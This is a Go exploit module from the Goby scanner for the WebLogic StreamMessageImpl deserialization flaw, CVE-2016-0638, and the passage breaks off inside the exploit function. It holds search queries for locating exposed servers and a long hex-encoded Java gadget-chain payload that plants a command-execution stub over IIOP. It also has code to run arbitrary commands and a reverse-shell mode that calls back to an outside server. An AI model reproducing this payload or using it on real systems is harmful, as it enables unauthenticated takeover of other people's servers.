package exploits

import (
	"encoding/hex"
	"errors"
	"fmt"
	"git.gobies.org/goby/goscanner/godclient"
	"git.gobies.org/goby/goscanner/goutils"
	"git.gobies.org/goby/goscanner/jsonvul"
	"git.gobies.org/goby/goscanner/jsonvul/protocols"
	"git.gobies.org/goby/goscanner/scanconfig"
	"git.gobies.org/goby/httpclient"
	"net/url"
	"strings"
	"time"
)

func init() {
	expJson := `{
    "Name": "Weblogic StreamMessageImpl remote code execution vulnerability (CVE-2016-0638)",
    "Description": "<p>WebLogic Server is one of the application server components suitable for both cloud and traditional environments.</p><p>WebLogic StreamMessageImpl has a remote code execution vulnerability. This vulnerability allows an unauthenticated attacker to access and destroy the vulnerable WebLogic Server through the IIOP protocol network. Successful exploitation of the vulnerability can cause the WebLogic Server to be taken over by the attacker, resulting in remote code execution.</p>",
    "Product": "Weblogic_interface_7001",
    "Homepage": "https://www.oracle.com/",
    "DisclosureDate": "2016-04-21",
    "Author": "vaf",
    "FofaQuery": "(body=\"Welcome to WebLogic Server\") || (title==\"Error 404--Not Found\") || (((body=\"<h1>BEA WebLogic Server\" || server=\"Weblogic\" || body=\"content=\\\"WebLogic Server\" || body=\"<h1>Welcome to Weblogic Application\" || body=\"<h1>BEA WebLogic Server\") && header!=\"couchdb\" && header!=\"boa\" && header!=\"RouterOS\" && header!=\"X-Generator: Drupal\") || (banner=\"Weblogic\" && banner!=\"couchdb\" && banner!=\"drupal\" && banner!=\" Apache,Tomcat,Jboss\" && banner!=\"ReeCam IP Camera\" && banner!=\"<h2>Blog Comments</h2>\")) || (port=\"7001\" && protocol==\"weblogic\")",
    "GobyQuery": "(body=\"Welcome to WebLogic Server\") || (title==\"Error 404--Not Found\") || (((body=\"<h1>BEA WebLogic Server\" || server=\"Weblogic\" || body=\"content=\\\"WebLogic Server\" || body=\"<h1>Welcome to Weblogic Application\" || body=\"<h1>BEA WebLogic Server\") && header!=\"couchdb\" && header!=\"boa\" && header!=\"RouterOS\" && header!=\"X-Generator: Drupal\") || (banner=\"Weblogic\" && banner!=\"couchdb\" && banner!=\"drupal\" && banner!=\" Apache,Tomcat,Jboss\" && banner!=\"ReeCam IP Camera\" && banner!=\"<h2>Blog Comments</h2>\")) || (port=\"7001\" && protocol==\"weblogic\")",
    "Level": "3",
    "Impact": "<p>WebLogic StreamMessageImpl has a remote code execution vulnerability. This vulnerability allows an unauthenticated attacker to access and destroy the vulnerable WebLogic Server through the IIOP protocol network. Successful exploitation of the vulnerability can cause the WebLogic Server to be taken over by the attacker, resulting in remote code execution.</p>",
    "Recommendation": "<p>Currently, the manufacturer has released an upgrade patch to fix the vulnerability. The link to obtain the patch is: <a href=\"https://www.oracle.com/security-alerts/cpuapr2016v3.html\">https://www.oracle.com/security-alerts/cpuapr2016v3.html</a></p>",
    "References": [
        "https://nvd.nist.gov/vuln/detail/CVE-2016-0638"
    ],
    "Is0day": false,
    "HasExp": true,
    "ExpParams": [
        {
            "name": "attackType",
            "type": "select",
            "value": "cmd,reverse",
            "show": ""
        },
        {
            "name": "cmd",
            "type": "input",
            "value": "whoami",
            "show": "attackType=cmd"
        }
    ],
    "ExpTips": {
        "Type": "",
        "Content": ""
    },
    "ScanSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExploitSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "Tags": [
        "Code Execution"
    ],
    "VulType": [
        "Code Execution"
    ],
    "CVEIDs": [
        "CVE-2016-0638"
    ],
    "CNNVD": [
        "CNNVD-201604-411"
    ],
    "CNVD": [
        "CNVD-2016-02481"
    ],
    "CVSSScore": "9.8",
    "Translation": {
        "CN": {
            "Name": "Weblogic StreamMessageImpl 远程代码执行漏洞（CVE-2016-0638）",
            "Product": "Weblogic_interface_7001",
            "Description": "<p>WebLogic Server 是其中的一个适用于云环境和传统环境的应用服务器组件。</p><p>WebLogic StreamMessageImpl 存在远程代码执行漏洞，该漏洞允许未经身份验证的攻击者通过 IIOP 协议网络访问并破坏易受攻击的 WebLogic Server，成功的漏洞利用可导致 WebLogic Server 被攻击者接管，从而造成远程代码执行。</p>",
            "Recommendation": "<p>目前厂商已发布升级补丁以修复漏洞，补丁获取链接：<a href=\"https://www.oracle.com/security-alerts/cpuapr2016v3.html\" target=\"_blank\">https://www.oracle.com/security-alerts/cpuapr2016v3.html</a></p>",
            "Impact": "<p>WebLogic StreamMessageImpl 存在远程代码执行漏洞，该漏洞允许未经身份验证的攻击者通过 IIOP 协议网络访问并破坏易受攻击的 WebLogic Server，成功的漏洞利用可导致 WebLogic Server 被攻击者接管，从而造成远程代码执行。<br></p>",
            "VulType": [
                "代码执行"
            ],
            "Tags": [
                "代码执行"
            ]
        },
        "EN": {
            "Name": "Weblogic StreamMessageImpl remote code execution vulnerability (CVE-2016-0638)",
            "Product": "Weblogic_interface_7001",
            "Description": "<p>WebLogic Server is one of the application server components suitable for both cloud and traditional environments.</p><p>WebLogic StreamMessageImpl has a remote code execution vulnerability. This vulnerability allows an unauthenticated attacker to access and destroy the vulnerable WebLogic Server through the IIOP protocol network. Successful exploitation of the vulnerability can cause the WebLogic Server to be taken over by the attacker, resulting in remote code execution.</p>",
            "Recommendation": "<p>Currently, the manufacturer has released an upgrade patch to fix the vulnerability. The link to obtain the patch is: <a href=\"https://www.oracle.com/security-alerts/cpuapr2016v3.html\" target=\"_blank\">https://www.oracle.com/security-alerts/cpuapr2016v3.html</a><br></p>",
            "Impact": "<p>WebLogic StreamMessageImpl has a remote code execution vulnerability. This vulnerability allows an unauthenticated attacker to access and destroy the vulnerable WebLogic Server through the IIOP protocol network. Successful exploitation of the vulnerability can cause the WebLogic Server to be taken over by the attacker, resulting in remote code execution.<br></p>",
            "VulType": [
                "Code Execution"
            ],
            "Tags": [
                "Code Execution"
            ]
        }
    },
    "AttackSurfaces": {
        "Application": null,
        "Support": null,
        "Service": null,
        "System": null,
        "Hardware": null
    },
    "PocId": "10890"
}`
	getPayloadFlag6naMlx := func(name string) []byte {
		var bodyEnd string
		name = hex.EncodeToString([]byte(name))
		nameLength := len(name) / 2
		nameLengthHex := fmt.Sprintf("%x", nameLength)
		if nameLength < 16 {
			nameLengthHex = "0" + nameLengthHex
		}
		// band name 长度是三个字节的
		bodyEnd = "00000001000000" + nameLengthHex + name + "0000000001000000000000001d0000001c000000000000000100000000000000010000000000000000000000007fffff0a0000004c524d493a7765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c3a303030303030303030303030303030313a364238384445344439334342443435440000002bfb0100000028200000000000000100000000002be7aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200206a617661782e7363726970742e536372697074456e67696e654d616e61676572000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000074000b6e6577496e7374616e6365757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007371007e00137571007e0018000000017400026a7374000f676574456e67696e6542794e616d657571007e001b00000001767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707371007e00137571007e00180000000174278f747279207b0a20206c6f616428226e6173686f726e3a6d6f7a696c6c615f636f6d7061742e6a7322293b0a7d20636174636820286529207b7d0a66756e6374696f6e20676574556e7361666528297b0a202076617220746865556e736166654d6574686f64203d206a6176612e6c616e672e436c6173732e666f724e616d65282273756e2e6d6973632e556e7361666522292e6765744465636c617265644669656c642827746865556e7361666527293b0a2020746865556e736166654d6574686f642e73657441636365737369626c652874727565293b200a202072657475726e20746865556e736166654d6574686f642e676574286e756c6c293b0a7d0a66756e6374696f6e2072656d6f7665436c617373436163686528636c617a7a297b0a202076617220756e73616665203d20676574556e7361666528293b0a202076617220636c617a7a416e6f6e796d6f7573436c617373203d20756e736166652e646566696e65416e6f6e796d6f7573436c61737328636c617a7a2c6a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e6c616e672e436c61737322292e6765745265736f75726365417353747265616d2822436c6173732e636c61737322292e72656164416c6c427974657328292c6e756c6c293b0a2020766172207265666c656374696f6e446174614669656c64203d20636c617a7a416e6f6e796d6f7573436c6173732e6765744465636c617265644669656c6428227265666c656374696f6e4461746122293b0a2020756e736166652e7075744f626a65637428636c617a7a2c756e736166652e6f626a6563744669656c644f6666736574287265666c656374696f6e446174614669656c64292c6e756c6c293b0a7d0a66756e6374696f6e206279706173735265666c656374696f6e46696c7465722829207b0a2020766172207265666c656374696f6e436c6173733b0a2020747279207b0a202020207265666c656374696f6e436c617373203d206a6176612e6c616e672e436c6173732e666f724e616d6528226a646b2e696e7465726e616c2e7265666c6563742e5265666c656374696f6e22293b0a20207d20636174636820286572726f7229207b0a202020207265666c656374696f6e436c617373203d206a6176612e6c616e672e436c6173732e666f724e616d65282273756e2e7265666c6563742e5265666c656374696f6e22293b0a20207d0a202076617220756e73616665203d20676574556e7361666528293b0a202076617220636c617373427566666572203d207265666c656374696f6e436c6173732e6765745265736f75726365417353747265616d28225265666c656374696f6e2e636c61737322292e72656164416c6c427974657328293b0a2020766172207265666c656374696f6e416e6f6e796d6f7573436c617373203d20756e736166652e646566696e65416e6f6e796d6f7573436c617373287265666c656374696f6e436c6173732c20636c6173734275666665722c206e756c6c293b0a2020766172206669656c6446696c7465724d61704669656c64203d207265666c656374696f6e416e6f6e796d6f7573436c6173732e6765744465636c617265644669656c6428226669656c6446696c7465724d617022293b0a2020766172206d6574686f6446696c7465724d61704669656c64203d207265666c656374696f6e416e6f6e796d6f7573436c6173732e6765744465636c617265644669656c6428226d6574686f6446696c7465724d617022293b0a2020696620286669656c6446696c7465724d61704669656c642e6765745479706528292e697341737369676e61626c6546726f6d286a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e7574696c2e486173684d617022292929207b0a20202020756e736166652e7075744f626a656374287265666c656374696f6e436c6173732c20756e736166652e7374617469634669656c644f6666736574286669656c6446696c7465724d61704669656c64292c206a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e7574696c2e486173684d617022292e676574436f6e7374727563746f7228292e6e6577496e7374616e63652829293b0a20207d0a2020696620286d6574686f6446696c7465724d61704669656c642e6765745479706528292e697341737369676e61626c6546726f6d286a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e7574696c2e486173684d617022292929207b0a20202020756e736166652e7075744f626a656374287265666c656374696f6e436c6173732c20756e736166652e7374617469634669656c644f6666736574286d6574686f6446696c7465724d61704669656c64292c206a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e7574696c2e486173684d617022292e676574436f6e7374727563746f7228292e6e6577496e7374616e63652829293b0a20207d0a202072656d6f7665436c6173734361636865286a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e6c616e672e436c6173732229293b0a7d0a66756e6374696f6e2073657441636365737369626c652861636365737369626c654f626a656374297b0a2020202076617220756e73616665203d20676574556e7361666528293b0a20202020766172206f766572726964654669656c64203d206a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e6c616e672e7265666c6563742e41636365737369626c654f626a65637422292e6765744465636c617265644669656c6428226f7665727269646522293b0a20202020766172206f6666736574203d20756e736166652e6f626a6563744669656c644f6666736574286f766572726964654669656c64293b0a20202020756e736166652e707574426f6f6c65616e2861636365737369626c654f626a6563742c206f66667365742c2074727565293b0a7d0a66756e6374696f6e20646566696e65436c617373286279746573297b0a202076617220636c7a203d206e756c6c3b0a20207661722076657273696f6e203d206a6176612e6c616e672e53797374656d2e67657450726f706572747928226a6176612e76657273696f6e22293b0a202076617220756e73616665203d20676574556e7361666528290a202076617220636c6173734c6f61646572203d206e6577206a6176612e6e65742e55524c436c6173734c6f61646572286a6176612e6c616e672e7265666c6563742e41727261792e6e6577496e7374616e6365286a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e6e65742e55524c22292c203029293b0a20207472797b0a202020206966202876657273696f6e2e73706c697428222e22295b305d203e3d20313129207b0a2020202020206279706173735265666c656374696f6e46696c74657228293b0a20202020646566696e65436c6173734d6574686f64203d206a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e6c616e672e436c6173734c6f6164657222292e6765744465636c617265644d6574686f642822646566696e65436c617373222c206a6176612e6c616e672e436c6173732e666f724e616d6528225b4222292c6a6176612e6c616e672e496e74656765722e545950452c206a6176612e6c616e672e496e74656765722e54595045293b0a2020202073657441636365737369626c6528646566696e65436c6173734d6574686f64293b0a202020202f2f20e7bb95e8bf872073657441636365737369626c65200a20202020636c7a203d20646566696e65436c6173734d6574686f642e696e766f6b6528636c6173734c6f616465722c2062797465732c20302c2062797465732e6c656e677468293b0a202020207d656c73657b0a2020202020207661722070726f74656374696f6e446f6d61696e203d206e6577206a6176612e73656375726974792e50726f74656374696f6e446f6d61696e286e6577206a6176612e73656375726974792e436f6465536f75726365286e756c6c2c206a6176612e6c616e672e7265666c6563742e41727261792e6e6577496e7374616e6365286a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e73656375726974792e636572742e436572746966696361746522292c203029292c206e756c6c2c20636c6173734c6f616465722c205b5d293b0a202020202020636c7a203d20756e736166652e646566696e65436c617373286e756c6c2c2062797465732c20302c2062797465732e6c656e6774682c20636c6173734c6f616465722c2070726f74656374696f6e446f6d61696e293b0a202020207d0a20207d6361746368286572726f72297b0a202020206572726f722e7072696e74537461636b547261636528293b0a20207d66696e616c6c797b0a2020202072657475726e20636c7a3b0a20207d0a7d0a66756e6374696f6e206261736536344465636f6465546f427974652873747229207b0a20207661722062743b0a2020747279207b0a202020206274203d206a6176612e6c616e672e436c6173732e666f724e616d65282273756e2e6d6973632e4241534536344465636f64657222292e6e6577496e7374616e636528292e6465636f646542756666657228737472293b0a20207d20636174636820286529207b0a202020206274203d206a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e7574696c2e42617365363422292e6e6577496e7374616e636528292e6765744465636f64657228292e6465636f646528737472293b0a20207d0a202072657475726e2062743b0a7d0a76617220636f64653d2279763636766741414144454249776f41575142394341422b436741484148384b414377416741634167516f414251423942774343436741484148304b4141554167776f4142774345434143464367417341495949414963494149674b4143774169516f414277434b4341434c43674173414977494149304a414163416a676f416a77435143674350414a454a414163416b6763416b776f414741435543674159414a554941485949414a594b414163416c776f414c4143594341435a4341436143674362414a774b414377416e5167416e676f414c4143664341436743414368427743694367416e4148304b414363416f77674170416f414a77436c4277436d4341436e4341436f43414370434143714341437243674373414b304b414b77417267634172776f417341437843674130414c4949414c4d4b4144514174416f414e41433143674130414c594b414c414174776f41734143344277433543674139414b5549414c6f49414c734b414b77417641634176516f415167432b43674243414c454b414c414176776f415167432f43674243414d414b414d454177676f417751444443674445414d554b414d51417867554141414141414141414d676f414741444843674377414d674b4145494179516f416a77444b43674148414d7349414d774b414659417a5167417a6763417a776f415667445143674257414e4548414e494b414e4d4131416341315167413167674131776f4157514459434142354341445a4277446142774462415141436158414241424a4d616d4632595339735957356e4c314e30636d6c755a7a73424141527762334a304151415454477068646d4576624746755a79394a626e526c5a3256794f774541426a7870626d6c3050674541417967705667454142454e765a4755424141394d6157356c546e5674596d56795647466962475542414152696157356b4151414b5258686a5a58423061573975637745414653684d616d4632595339735957356e4c314e30636d6c755a7a73705667454145584e6c64464e6c636e5a6c636b787659324630615739754151416e4b45787159585a684c327868626d6376553352796157356e4f30787159585a684c327868626d6376553352796157356e4f796c5742774463415141525a32563055325679646d56795447396a59585270623234424143596f54477068646d4576624746755a79395464484a70626d63374b55787159585a684c327868626d6376553352796157356e4f77454142584279623368354151414b5932786c59584a5159584a6862514541424756345a574d42414164795a585a6c636e4e6c415141574b45787159585a684c327868626d6376553352796157356e4f306b705667454141334a3162674541426d526c5932396b5a5145414669684d616d4632595339735957356e4c314e30636d6c755a7a7370573049424141705462335679593256476157786c41514149515455794c6d7068646d454d4147634161414541494745324d5749794d6a56685a6a4a695954686b5a6a526c4e44566c4d7a637a595755774d7a4135596a6469444142724147304d414e30413367454147327068646d46344c32356862576c755a79394a626d6c3061574673513239756447563464414541413045314d677741337744674441427a414849424141414d414f45413467454145474e7662573168626d5167626d393049473531624777424141556a49794d6a497777413477446b4441423041484942414145364441446c414f594241434a6a623231745957356b49484a6c646d5679633255676147397a6443426d62334a74595851675a584a79623349684441426a41475148414f634d414f674136517741366744724441426c414759424142427159585a684c327868626d6376564768795a57466b4441426e414f774d414f3041614145414255424151454241444142314148494d414f3441377745414253516b4a43516b4151414862334d75626d46745a516341384177413851427944414479414e344241414e336157344d41504d413941454142484270626d6342414149746267454146327068646d4576624746755a79395464484a70626d644364576c735a4756794441443141505942414155674c5734674e4177413977446541514151616d4632595339735957356e4c314e30636d6c755a77454141324e745a4145414169396a41514146494331304944514241414a7a614145414169316a427744344441443541506f4d414855412b77454145577068646d4576645852706243395459324675626d567942774438444144394150344d414763412f774541416c7868444145414151454d415149424177774242414465444145464150344d415159416141454145327068646d4576624746755a79394665474e6c634852706232344241416376596d6c754c334e6f415141485932316b4c6d56345a5177416451454841514150616d4632595339755a5851765532396a613256304441426e4148634d4151674243517742436745444277454c4441454d4151304d41513442445163424477774245414552444145534147674d41524d42464177424651454e444145574147674d41526342445177416467423341514157633356754c6d317063324d75516b4654525459305247566a6232526c636777424741455a4151414d5a47566a6232526c516e566d5a6d567941514150616d4632595339735957356e4c304e7359584e7a444145614152734d415277424851454145477068646d4576624746755a793950596d706c593351484152344d4152384249414541416c744341514151616d46325953353164476c734c6b4a68633255324e414541436d646c6445526c5932396b5a58494d41534542496745414a6d39795a7935686347466a6147557559323974625739756379356a6232526c5979356961573568636e6b75516d467a5a54593041514175643256696247396e61574d76593278316333526c6369397a6157356e6247563062323476513278316333526c636b31686333526c636c4a6c625739305a514541456d7068646d4576624746755a7939536457357559574a735a51454147477068646d4576636d31704c314a6c625739305a5556345932567764476c766267454142485279615730424142516f4b55787159585a684c327868626d6376553352796157356e4f774541426e4a6c596d6c755a4145414a79684d616d4632595339735957356e4c314e30636d6c755a7a744d616d4632595339735957356e4c303969616d566a6444737056674541426d567864574673637745414653684d616d4632595339735957356e4c303969616d566a6444737057674541436e4e3059584a3063316470644767424142556f54477068646d4576624746755a79395464484a70626d63374b566f424141567a63477870644145414a79684d616d4632595339735957356e4c314e30636d6c755a7a73705730787159585a684c327868626d6376553352796157356e4f77454145577068646d4576624746755a79394a626e526c5a32567941514149634746796332564a626e51424142556f54477068646d4576624746755a79395464484a70626d63374b556b4241416432595778315a55396d415141574b456b7054477068646d4576624746755a79394a626e526c5a3256794f7745414679684d616d4632595339735957356e4c314a31626d3568596d786c4f796c574151414663335268636e5142414164795a58427359574e6c415142454b45787159585a684c327868626d637651326868636c4e6c6358566c626d4e6c4f30787159585a684c327868626d637651326868636c4e6c6358566c626d4e6c4f796c4d616d4632595339735957356e4c314e30636d6c755a7a73424142427159585a684c327868626d637655336c7a644756744151414c5a32563055484a766347567964486b424141743062307876643256795132467a5a51454143474e76626e52686157357a415141624b45787159585a684c327868626d637651326868636c4e6c6358566c626d4e6c4f796c6141514147595842775a57356b415141744b45787159585a684c327868626d6376553352796157356e4f796c4d616d4632595339735957356e4c314e30636d6c755a304a316157786b5a584937415141496447395464484a70626d63424142467159585a684c327868626d6376556e567564476c745a514541436d646c64464a31626e5270625755424142556f4b55787159585a684c327868626d6376556e567564476c745a5473424143676f5730787159585a684c327868626d6376553352796157356e4f796c4d616d4632595339735957356e4c31427962324e6c63334d3741514152616d4632595339735957356e4c31427962324e6c63334d424141356e5a58524a626e423164464e30636d5668625145414679677054477068646d457661573876535735776458525464484a6c59573037415141594b45787159585a684c326c764c306c7563485630553352795a5746744f796c574151414d64584e6c5247567361573170644756794151416e4b45787159585a684c327868626d6376553352796157356e4f796c4d616d46325953393164476c734c314e6a595735755a584937415141486147467a546d56346441454141796770576745414247356c654851424141356e5a585246636e4a76636c4e30636d5668625145414232526c6333527962336b424143636f54477068646d4576624746755a79395464484a70626d63374b55787159585a684c327868626d637655484a765932567a637a73424141396e5a585250645852776458525464484a6c595730424142676f4b55787159585a684c326c764c3039316448423164464e30636d5668625473424141687063304e7362334e6c5a41454145327068646d457661573876535735776458525464484a6c5957304241416c68646d4670624746696247554241414d6f4b556b42414152795a57466b41514155616d46325953397062793950645852776458525464484a6c5957304241415633636d6c305a5145414243684a4b5659424141566d6248567a6141454142584e735a575677415141454b456f70566745414357563461585257595778315a51454142574e7362334e6c4151414961573530566d4673645755424141646d62334a4f5957316c4151416c4b45787159585a684c327868626d6376553352796157356e4f796c4d616d4632595339735957356e4c304e7359584e7a4f7745414357646c6445316c644768765a4145415143684d616d4632595339735957356e4c314e30636d6c755a7a746254477068646d4576624746755a7939446247467a637a737054477068646d4576624746755a7939795a575a735a574e304c30316c644768765a447342414174755a58644a626e4e305957356a5a5145414643677054477068646d4576624746755a793950596d706c5933513741514159616d4632595339735957356e4c334a6c5a6d786c59335176545756306147396b41514147615735326232746c415141354b45787159585a684c327868626d637654324a715a574e304f31744d616d4632595339735957356e4c303969616d566a6444737054477068646d4576624746755a793950596d706c59335137415141495a3256305132786863334d4241424d6f4b55787159585a684c327868626d63765132786863334d37414345414277425a4141494159514269414149414167426a4147514141414143414755415a674141414173414151426e4147674141514270414141414851414241414541414141464b726341416245414141414241476f41414141474141454141414152414145416177426f414149416151414141434d41416741424141414142796f5341725941413745414141414241476f414141414b41414941414141594141594147514273414141414241414241443041415142724147304141674270414141415067414541414d41414141614b375941424579374141565a74774147545377727577414857626341434c5941436245414141414241476f41414141534141514141414163414155414851414e414234414751416641477741414141454141454150514142414734416277414341476b414141415a41414141417741414141477841414141415142714141414142674142414141414a414273414141414241414241484141415142784148494141674270414141414867414341414941414141474b6975324141717741414141415142714141414142674142414141414b4142734141414142414142414841414151427a41484941415142704141414177774144414151414141427a4b3859414442494c4b375941444a6b414268494e734375324141524d4b78494f746741506d5141374b6975324142415345625941456b30737667576641415953453741714c414d79745141554b6977454d72674146626741467255414637734147466b717477415a5469323241426f53473741724568793241412b5a414130714b69753241424332414232774b696f72746741517467416473414141414145416167414141443441447741414144454144514179414241414e414156414455414867413341436b414f41417641446b414d67413741446b4150414247414430415477412b41464d4150774257414541415877424241476b4151774142414851416367414241476b414141417641414d41416741414142637245673453433759414868496345677532414234534878494c74674165734141414141454161674141414159414151414141453041415142314148494141514270414141427877414541416b414141456e456943344143473241434a4e4b3759414245774254697753493759414a4a6b41514373534a6259414a4a6b41494373534a7259414a4a6f41463773414a316d3341436772746741704569713241436d324143744d427230414c466b4445693154575151534c6c4e5a425374544f67536e41443072456957324143535a414341724569613241435361414265374143645a7477416f4b3759414b5249767467417074674172544161394143785a4178497755316b45456a465457515572557a6f45754141794751533241444e4f757741305753323241445733414459534e3759414f446f464751573241446d5a4141735a426259414f7163414252494c4f6761374144525a4c6259414f3763414e684933746741344f6757374143645a7477416f4751613241436b5a426259414f5a6b4143786b4674674136707741464567753241436d324143733642686b474f676374786741484c62594150426b4873446f464751573241443436426933474141637474674138475161774f676774786741484c62594150426b4976774145414a41412b774547414430416b41443741526f4141414547415138424767414141526f424841456141414141415142714141414162674162414141415667414a4146634144674259414241415767415a414673414b774263414438415867425741474141614142684148774159774351414759416d51426e414b73416141432f41476b41305142714150634161774437414738412f77427741514d416177454741477742434142744151384162774554414841424677427441526f4162774567414841424a41427941414541646742334141454161514141415641414241414d4141414178424967754141687467416945694f324143536141416b535030366e414159535145363441444974746742424f67533741454a5a4b78793341454d3642526b45746741314f67595a424c59414f7a6f48475157324145513643426b45746742464f676b5a42625941526a6f4b47515732414565614147415a42725941534a344145426b4b4751613241456d324145716e2f2b345a42375941534a344145426b4b4751653241456d324145716e2f2b345a434c5941534a344145426b4a4751693241456d324145716e2f2b345a4372594153786b4a7467424c4641424d7541424f4751533241453958707741494f67756e2f35345a424c594150426b467467425170774145547245414167436e414b3041734141394141414176774443414430414151427141414141616741614141414166674151414838414667434241426b4167774169414951414c514346414549416867425141496341574143494147414169514274414973416451434d414949416a67434b414938416c774352414a77416b674368414a4d4170774356414b30416c674377414a634173674359414c55416d674336414a734176774364414d49416e414444414a3441415142344147674141514270414141414c41414441414541414141514b6971304142517174414158746742527467425373514141414145416167414141416f4141674141414b49414477436a41416b416551423641414541615141414152774142674145414141417241464d456c4f344146524e4c424a56424c3041566c6b4445697854746742584c4c59415741533941466c5a41797054746742617741426277414262544b63414245307278774244456c79344146515358514f3941466132414663424137304157625941576b307374674265456c38457651425757514d534c464f3241466373424c304157566b444b6c4f3241467241414676414146744d707741455453764841445153594c674156453073456c38457651425757514d534c464f324146644f4c537932414667457651425a57514d715537594157734141573841415730796e4141524e4b37414141774143414330414d4141394144554163514230414430416551436d414b6b415051414241476f414141424741424541414143724141494172514149414b34414c5143784144414172774178414c49414e5143304145774174514278414c6741644143324148554175674235414c774166774339414938417667436d414d45417151432f414b6f417777414241487341414141434148773d223b0a636c7a203d20646566696e65436c617373286261736536344465636f6465546f4279746528636f646529293b0a636c7a2e6e6577496e7374616e636528292e62696e6428293b7400046576616c7571007e001b0000000171007e0023737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f400000000000007708000000100000000078787800ffffffff"
		bodyEndBytes, _ := hex.DecodeString(bodyEnd)
		return bodyEndBytes
	}

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
			if err := protocols.NewIIOP(u.HostInfo, func(iiop *protocols.IIOP) error {
				name := goutils.RandomHexString(3)
				if _, err := iiop.Rebind(getPayloadFlag6naMlx(name)); err != nil {
					return err
				}
				if stub, err := iiop.StubData("a61b225af2ba8df4e45e373ae0309b7b"); err != nil {
					return err
				} else {
					if rsp, err := iiop.Exec(stub, "echo 42b8ae0898e98f62b98d357c730df260"); err != nil {
						return err
					} else if rsp != "" && strings.Contains(rsp, "42b8ae0898e98f62b98d357c730df260") {
						return nil
					} else {
						return errors.New("利用失败")
					}
				}
			}); err != nil {
				return false
			}
			return true
		},

		func(expResult *jsonvul.ExploitResult, stepLogs *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
			attackType := goutils.B2S(stepLogs.Params["attackType"])
			cmd := goutils.B2S(stepLogs.Params["cmd"])
			waitSessionCh := make(chan string)
			if attackType == "cmd" {
				cmd = `@@@@@` + cmd
			} else if attackType == "reverse" {
				// 构建反弹端口
				rp, err := godclient.WaitSession("reverse_linux_none", waitSessionCh)
				if err != nil || len(rp) == 0 {
					expResult.Output = err.Error()
					return expResult
				}
				cmd = `#####` + godclient.GetGodServerHost() + `:` + rp
			} else {
				expResult.Output = `未知的利用方式`
				return expResult
			}
			if err := protocols.NewIIOP(expResult.HostInfo.HostInfo, func(iiop *protocols.IIOP) error {
				// 首先 Check 存根是否存在
				stub, _ := iiop.StubData("a61b225af2ba8df4e45e373ae0309b7b")
				if stub == nil {
					name := goutils.RandomHexString(3)
					if _, err := iiop.Rebind(getPayloadFlag6naMlx(name)); err != nil {
						return err
					}
					if newStub, err := iiop.StubData("a61b225af2ba8df4e45e373ae0309b7b"); err != nil {
						return err
					} else {
						stub = newStub
					}
				}
				if rsp, err := iiop.Exec(stub, cmd); err != nil {
					return err
				} else {
					expResult.Success = true
					expResult.Output = rsp
					return nil
				}
			}); err != nil && attackType != "cmd" {
				expResult.Success = false
				expResult.Output = err.Error()
				return expResult
			}
			if attackType == "reverse" {
